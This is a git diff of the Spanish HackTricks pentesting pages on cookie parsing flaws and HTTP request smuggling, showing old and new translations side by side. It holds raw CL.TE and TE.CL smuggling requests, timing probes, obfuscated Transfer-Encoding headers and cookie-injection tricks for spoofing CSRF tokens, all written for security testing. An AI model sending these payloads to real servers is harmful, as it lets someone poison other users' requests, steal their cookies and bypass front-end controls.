Específicamente, **estos servidores continúan leyendo una cadena de cookie cuando encuentran un valor de cookie entre comillas dobles (dquoted), incluso si se encuentra un punto y coma**. Esto es problemático porque **los puntos y coma se supone que separen pares clave-valor** en la cadena de cookie.
|
||||
Específicamente, **estos servidores continúan leyendo una cadena de cookies cuando encuentran un valor de cookie entre comillas dobles (dquoted), incluso si se encuentra un punto y coma**. Esto es problemático porque **los puntos y coma se supone que separan pares clave-valor** en la cadena de cookies.
|
||||
|
||||
Por ejemplo, si un **navegador envía tres cookies, RENDER\_TEXT, JSESSIONID,** y **ASDF:**
|
||||
```basic
|
||||
|
@ -183,7 +186,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
estos servidores los interpretan como parte de un **valor de cookie único** en lugar de tres cookies separadas.
|
||||
|
||||
Esto conlleva un riesgo de seguridad: si un atacante obtiene acceso a scripting entre sitios (XSS), puede utilizar este error para **exfiltrar cookies sensibles como las cookies HttpOnly**.
|
||||
Esto conlleva un riesgo de seguridad: si un atacante obtiene acceso a scripting entre sitios (XSS), pueden usar este error para **exfiltrar cookies sensibles como las cookies HttpOnly**.
|
||||
|
||||
### Inyección de Cookies
|
||||
|
||||
|
@ -201,23 +204,23 @@ Y **Python's SimpleCookie** y **BaseCookie** comienzan inmediatamente a analizar
|
|||
```
|
||||
LANGUAGE=en-us CSRF_TOKEN=SPOOFED_VALUE
|
||||
```
|
||||
Como resultado, servidores como **cherrypy**, **web.py**, **aiohttp** server, **bottle** y **webob** (Pyramid, TurboGears) son vulnerables a este tipo de ataque.
|
||||
Como resultado, servidores como **cherrypy**, **web.py**, **aiohttp** server, **bottle** y **webob** (Pyramid, TurboGears) son todos vulnerables a este tipo de ataque.
|
||||
|
||||
Este problema presenta importantes **implicaciones de seguridad**. Por ejemplo, si una aplicación web utiliza **protección CSRF basada en cookies**, un atacante puede **inyectar** una **cookie de token CSRF falsificada** para eludir esta protección. Además, el último nombre de cookie duplicado en los paquetes http.cookie de Python anula los anteriores, lo que facilita especialmente este tipo de ataque.
|
||||
Este problema presenta significativas **implicaciones de seguridad**. Por ejemplo, si una aplicación web utiliza **protección CSRF basada en cookies**, un atacante puede **inyectar** una **cookie de token CSRF** falsificada para eludir esta protección. Además, el último nombre de cookie duplicado en los paquetes http.cookie de Python anula cualquier otro anterior, lo que facilita especialmente este tipo de ataque.
|
||||
|
||||
Además, la **falsificación** de cookies **`__Secure-`** y **`__Host-`** puede ser abusada en un contexto inseguro. También, en una configuración donde las cookies se pasan a un servidor backend, **la inyección de cookies podría llevar a elusiones de autorización** si el servidor backend es susceptible a la falsificación pero el servidor frontend no lo es.
|
||||
Además, el **spoofing** de cookies **`__Secure-`** y **`__Host-`** puede ser abusado en un contexto inseguro. También, en una configuración donde las cookies se pasan a un servidor backend, **la inyección de cookies podría llevar a elusiones de autorización** si el servidor backend es susceptible al spoofing pero el servidor frontend no lo es.
|
||||
|
||||
### Verificaciones de Cookies Extra Vulnerables
|
||||
|
||||
#### **Verificaciones básicas**
|
||||
|
||||
* La **cookie** es **igual** cada vez que **inicias sesión**.
|
||||
* La **cookie** es **igual** cada vez que haces **login**.
|
||||
* Cierra sesión e intenta usar la misma cookie.
|
||||
* Intenta iniciar sesión con 2 dispositivos (o navegadores) en la misma cuenta usando la misma cookie.
|
||||
* Comprueba si la cookie tiene alguna información y trata de modificarla.
|
||||
* Intenta crear varias cuentas con nombres de usuario casi idénticos y comprueba si puedes ver similitudes.
|
||||
* Comprueba la opción de "**recordarme**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recordarme** sin ninguna otra cookie.
|
||||
* Comprueba si la cookie anterior funciona incluso después de cambiar la contraseña.
|
||||
* Verifica si la cookie tiene alguna información y trata de modificarla.
|
||||
* Intenta crear varias cuentas con nombres de usuario casi iguales y verifica si puedes ver similitudes.
|
||||
* Verifica la opción de "**recuérdame**" si existe para ver cómo funciona. Si existe y podría ser vulnerable, siempre usa la cookie de **recuérdame** sin ninguna otra cookie.
|
||||
* Verifica si la cookie anterior funciona incluso después de cambiar la contraseña.
|
||||
|
||||
#### **Ataques avanzados con cookies**
|
||||
|
||||
|
@ -276,19 +279,21 @@ Debería haber un patrón (con el tamaño de un bloque utilizado). Entonces, sab
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,29 @@
|
|||
# Ataque de Desincronización de Petición HTTP / Ataque de Desincronización de HTTP
|
||||
# HTTP Request Smuggling / Ataque de Desincronización HTTP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## ¿Qué es?
|
||||
## Qué es
|
||||
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** enviar una **petición HTTP** que será **interpretada** como una **única petición** por los **proxies de front-end** (balanceador de carga/reverse-proxy) y como **2 peticiones** por el **servidor de back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente petición que llega al servidor de back-end después de la suya**.
|
||||
Esta vulnerabilidad ocurre cuando una **desincronización** entre **proxies frontales** y el servidor **back-end** permite a un **atacante** **enviar** una solicitud HTTP que será **interpretada** como una **solicitud única** por los proxies frontales (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el servidor **back-end**.\
|
||||
Esto permite a un usuario **modificar la siguiente solicitud que llegue al servidor back-end después de la suya**.
|
||||
|
||||
### Teoría
|
||||
|
||||
[**Especificación RFC (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Si se recibe un mensaje con tanto un campo de encabezado Transfer-Encoding como un campo de encabezado Content-Length, este último DEBE ser ignorado.
|
||||
> Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
|
@ -29,33 +31,33 @@ Esto permite a un usuario **modificar la siguiente petición que llega al servid
|
|||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo de carga útil al usuario.\
|
||||
> El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo del mensaje al usuario.\
|
||||
> Chunked significa que los datos grandes se envían en una serie de fragmentos.
|
||||
|
||||
### Realidad
|
||||
|
||||
El **front-end** (un balanceador de carga / reverse proxy) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el **servidor de back-end** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una petición** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 peticiones diferentes**. El **peligro** de esta técnica reside en el hecho de que el **servidor de back-end interpretará la segunda petición inyectada** como si **viniera del siguiente cliente** y la **petición real** de ese cliente será **parte** de la **petición inyectada**.
|
||||
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
|
||||
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **proviniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
|
||||
|
||||
### Particularidades
|
||||
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes**:
|
||||
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
|
||||
|
||||
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la petición. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la petición**.
|
||||
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
|
||||
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera petición del ataque de desincronización.
|
||||
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Smuggling.
|
||||
|
||||
## Ejemplos Básicos
|
||||
|
||||
Entonces, los ataques de desincronización de petición implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una sola petición HTTP y manipularlos de manera que los servidores de front-end y back-end procesen la petición de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
|
||||
Por lo tanto, los ataques de smuggling de solicitudes implican colocar tanto el encabezado `Content-Length` como el encabezado `Transfer-Encoding` en una única solicitud HTTP y manipular estos de tal manera que los servidores frontales y back-end procesen la solicitud de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:
|
||||
|
||||
* **CL.TE**: el servidor de front-end utiliza el encabezado `Content-Length` y el servidor de back-end utiliza el encabezado `Transfer-Encoding`.
|
||||
* **TE.CL**: el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`.
|
||||
* **TE.TE**: tanto el servidor de front-end como el de back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar de alguna manera el encabezado.
|
||||
* **CL.TE**: el servidor frontal utiliza el encabezado `Content-Length` y el servidor back-end utiliza el encabezado `Transfer-Encoding`.
|
||||
* **TE.CL**: el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servidor back-end utiliza el encabezado `Content-Length`.
|
||||
* **TE.TE**: los servidores frontal y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.
|
||||
|
||||
### Vulnerabilidades CL.TE
|
||||
|
||||
Aquí, el servidor de front-end utiliza el encabezado **`Content-Length`** y el servidor de back-end utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un ataque simple de desincronización de petición HTTP de la siguiente manera:
|
||||
Aquí, el servidor **frontal** utiliza el encabezado **`Content-Length`** y el servidor **back-end** utiliza el encabezado **`Transfer-Encoding`**. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -66,10 +68,11 @@ Aquí, el servidor de front-end utiliza el encabezado **`Content-Length`** y el
|
|||
`GET /404 HTTP/1.1`\
|
||||
`Foo: x`
|
||||
|
||||
Observa cómo `Content-Length` indica que la longitud de la petición del cuerpo es de **30 bytes** (_recuerda que HTTP utiliza una nueva línea, por lo que son 2 bytes por cada nueva línea_), por lo que el proxy inverso **enviará la petición completa** al servidor de back-end, y el servidor de back-end procesará el encabezado `Transfer-Encoding`, dejando `GET /404 HTTP/1.1` como el **comienzo de la siguiente petición** (por cierto, la siguiente petición se agregará a `Foo:x<La siguiente petición comienza aquí>`).
|
||||
Note cómo `Content-Length` indica que la **longitud del cuerpo de la solicitud es de 30 bytes** (_recuerde que HTTP usa como nueva línea, por lo que 2 bytes cada nueva línea_), por lo que el proxy inverso **enviará la solicitud completa** al back-end, y el back-end procesará el encabezado `Transfer-Encoding` dejando el `GET /404 HTTP/1.1` como el **comienzo de la siguiente solicitud** (por cierto, la siguiente solicitud se adjuntará a `Foo:x<Comienza la siguiente solicitud aquí>`).
|
||||
|
||||
### Vulnerabilidades TE.CL
|
||||
|
||||
Aquí, el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el servidor de back-end utiliza el encabezado `Content-Length`. Podemos realizar un ataque simple de solicitud HTTP smuggling de la siguiente manera:
|
||||
Aquí, el servidor frontal utiliza el encabezado `Transfer-Encoding` y el servidor back-end utiliza el encabezado `Content-Length`. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -81,15 +84,15 @@ Aquí, el servidor de front-end utiliza el encabezado `Transfer-Encoding` y el s
|
|||
`0`\
|
||||
`\`
|
||||
|
||||
En este caso, el **reverse-proxy** enviará **toda la solicitud** al **back-end** como indica el `Transfer-Encoding`. Pero, el **back-end** solo procesará los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comienza con `GET /404 HTTP/1.1`.
|
||||
En este caso, el **proxy inverso** **enviará toda la solicitud** al **back-end** como indica el **`Transfer-encoding`**. Pero, el **back-end** va a **procesar** solo los **`7b`** (4 bytes) como se indica en el `Content-Length`. Por lo tanto, la siguiente solicitud será la que comience por `GET /404 HTTP/1.1`
|
||||
|
||||
_Tenga en cuenta que aunque el ataque debe terminar con un `0`, la siguiente solicitud se agregará como valores adicionales del parámetro **x**._\
|
||||
_También tenga en cuenta que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se va a agregar al parámetro **x**. Si es demasiado pequeño, solo se agregarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud), se producirá un error para la siguiente solicitud._
|
||||
_Note que incluso si el ataque debe terminar con un `0`, la siguiente solicitud se adjuntará como valores adicionales del parámetro **x**._\
|
||||
_También note que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se adjuntará al parámetro **x**. Si es demasiado pequeño, solo se adjuntarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud) se lanzará un error para la siguiente solicitud._
|
||||
|
||||
### Vulnerabilidades TE.TE
|
||||
|
||||
Aquí, los servidores de front-end y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo mediante la obfuscación del encabezado de alguna manera.\
|
||||
Existen infinitas formas de obfuscar el encabezado `Transfer-Encoding`. Por ejemplo:
|
||||
Aquí, los servidores frontal y back-end admiten el encabezado `Transfer-Encoding`, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.\
|
||||
Hay potencialmente infinitas formas de ofuscar el encabezado `Transfer-Encoding`. Por ejemplo:
|
||||
|
||||
`Transfer-Encoding: xchunked`\
|
||||
``\ `Transfer-Encoding : chunked`\``\
|
||||
|
@ -103,13 +106,13 @@ Existen infinitas formas de obfuscar el encabezado `Transfer-Encoding`. Por ejem
|
|||
`Transfer-Encoding`\
|
||||
`: chunked`
|
||||
|
||||
Dependiendo del servidor (reverse-proxy o de respaldo) que **deje de procesar** el encabezado **TE**, encontrará una vulnerabilidad **CL.TE** o una vulnerabilidad **TE.CL**.
|
||||
Dependiendo del servidor (proxy inverso o respaldo) que **deje de procesar** el encabezado **TE**, encontrará una vulnerabilidad **CL.TE** o una vulnerabilidad **TE.CL**.
|
||||
|
||||
## Encontrar HTTP Request Smuggling
|
||||
## Encontrando HTTP Request Smuggling
|
||||
|
||||
### Encontrar vulnerabilidades CL.TE utilizando técnicas de temporización
|
||||
### Encontrando vulnerabilidades CL.TE usando técnicas de tiempo
|
||||
|
||||
Si una aplicación es vulnerable a la variante CL.TE de request smuggling, enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
|
||||
Si una aplicación es vulnerable a la variante CL.TE del smuggling de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -121,19 +124,19 @@ Content-Length: 4
|
|||
A
|
||||
0
|
||||
```
|
||||
Dado que el servidor de front-end utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor de back-end utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso observable en el tiempo.
|
||||
Dado que el servidor frontal utiliza el encabezado `Content-Length`, solo reenviará parte de esta solicitud, omitiendo el `0`. El servidor de fondo utiliza el encabezado `Transfer-Encoding`, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso de tiempo observable.
|
||||
|
||||
A veces, en lugar de recibir un tiempo de espera, se recibe una solicitud incorrecta 400 del host final, como en el siguiente escenario, donde se envía una carga útil CL.TE:
|
||||
A veces, en lugar de obtener un tiempo de espera, recibes un error 400 de solicitud incorrecta del host final como en el siguiente escenario, donde se envía una carga útil CL.TE:
|
||||
|
||||
![](<../../.gitbook/assets/image (444).png>)
|
||||
|
||||
Y la respuesta es una redirección que contiene un error dentro del cuerpo, incluso con la versión de haproxy utilizada:
|
||||
Y la respuesta es una redirección que contiene un error dentro del cuerpo con incluso la versión del haproxy utilizado:
|
||||
|
||||
![](<../../.gitbook/assets/image (443).png>)
|
||||
|
||||
### Encontrar vulnerabilidades TE.CL utilizando técnicas de temporización
|
||||
### Encontrando vulnerabilidades TE.CL utilizando técnicas de temporización
|
||||
|
||||
Si una aplicación es vulnerable a la variante TE.CL de request smuggling, enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:
|
||||
Si una aplicación es vulnerable a la variante TE.CL de contrabando de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso de tiempo:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -144,39 +147,39 @@ Content-Length: 6
|
|||
0
|
||||
X
|
||||
```
|
||||
### Sondeando vulnerabilidades de HTTP Request Smuggling
|
||||
### Sondeando vulnerabilidades de contrabando de solicitudes HTTP
|
||||
|
||||
Una vez que hayas descubierto que las **técnicas de temporización funcionan**, necesitas **sondear** si puedes **alterar las solicitudes de otros clientes**.\
|
||||
La forma más sencilla de hacer esto es intentar envenenar tus propias solicitudes, por ejemplo, **hacer una solicitud para `/` y obtener una respuesta 404**.\
|
||||
En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar la solicitud de un cliente para solicitar `/404`, provocando una respuesta 404 cuando el cliente estaba solicitando cualquier otro recurso.
|
||||
Una vez que hayas encontrado que las **técnicas de temporización están funcionando**, necesitas **sondear** que puedes **alterar las solicitudes de otros clientes**.\
|
||||
La forma más fácil de hacer esto es intentar envenenar tus propias solicitudes, **hacer que una solicitud a `/` devuelva un 404, por ejemplo**.\
|
||||
En los [Ejemplos Básicos](./#basic-examples) ya vimos ejemplos de `CL.TE` y `TE.CL` de cómo envenenar la solicitud de un cliente para pedir `/404` provocando una respuesta 404 cuando el cliente estaba pidiendo cualquier otro recurso.
|
||||
|
||||
**Notas**
|
||||
|
||||
Al intentar confirmar vulnerabilidades de solicitud smuggling a través de la interferencia con otras solicitudes, se deben tener en cuenta algunas consideraciones importantes:
|
||||
Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de contrabando de solicitudes a través de la interferencia con otras solicitudes:
|
||||
|
||||
* La solicitud "ataque" y la solicitud "normal" deben enviarse al servidor utilizando conexiones de red diferentes. Enviar ambas solicitudes a través de la misma conexión no demostrará que la vulnerabilidad existe.
|
||||
* La solicitud "ataque" y la solicitud "normal" deben utilizar la misma URL y los mismos nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes front-end a diferentes servidores back-end según la URL y los parámetros. El uso de la misma URL y los mismos parámetros aumenta la probabilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione.
|
||||
* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud "ataque", estás compitiendo con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluyendo las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud "ataque". Si la aplicación está ocupada, es posible que necesites realizar varios intentos para confirmar la vulnerabilidad.
|
||||
* En algunas aplicaciones, el servidor front-end funciona como un equilibrador de carga y reenvía las solicitudes a diferentes sistemas back-end según algún algoritmo de equilibrio de carga. Si tus solicitudes "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la cual es posible que necesites intentarlo varias veces antes de confirmar una vulnerabilidad.
|
||||
* Si tu ataque tiene éxito al interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, esto significa que otro usuario de la aplicación se vio afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto disruptivo en otros usuarios, por lo que debes tener precaución.
|
||||
* La solicitud de "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no probará que la vulnerabilidad existe.
|
||||
* La solicitud de "ataque" y la solicitud "normal" deben usar la misma URL y nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes del front-end a diferentes servidores back-end basados en la URL y los parámetros. Usar la misma URL y parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione.
|
||||
* Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud de "ataque", estás en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud de "ataque". Si la aplicación está ocupada, podrías necesitar realizar varios intentos para confirmar la vulnerabilidad.
|
||||
* En algunas aplicaciones, el servidor front-end funciona como un balanceador de carga y reenvía las solicitudes a diferentes sistemas back-end de acuerdo con algún algoritmo de balanceo de carga. Si tus solicitudes de "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la que podrías necesitar intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
|
||||
* Si tu ataque tiene éxito en interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, entonces esto significa que otro usuario de la aplicación fue afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto perturbador en otros usuarios, y debes proceder con precaución.
|
||||
|
||||
### Forzando a través de encabezados hop-by-hop
|
||||
|
||||
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de una solicitud HTTP smuggling**.
|
||||
Abusando de los encabezados hop-by-hop podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar del contrabando de solicitudes HTTP**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Para obtener **más información sobre las cabeceras hop-by-hop**, visita:
|
||||
Para **más información sobre encabezados hop-by-hop** visita:
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Abuso de HTTP Request Smuggling
|
||||
## Abusando del HTTP Request Smuggling
|
||||
|
||||
### Para evadir los controles de seguridad del front-end
|
||||
### Para evadir controles de seguridad front-end
|
||||
|
||||
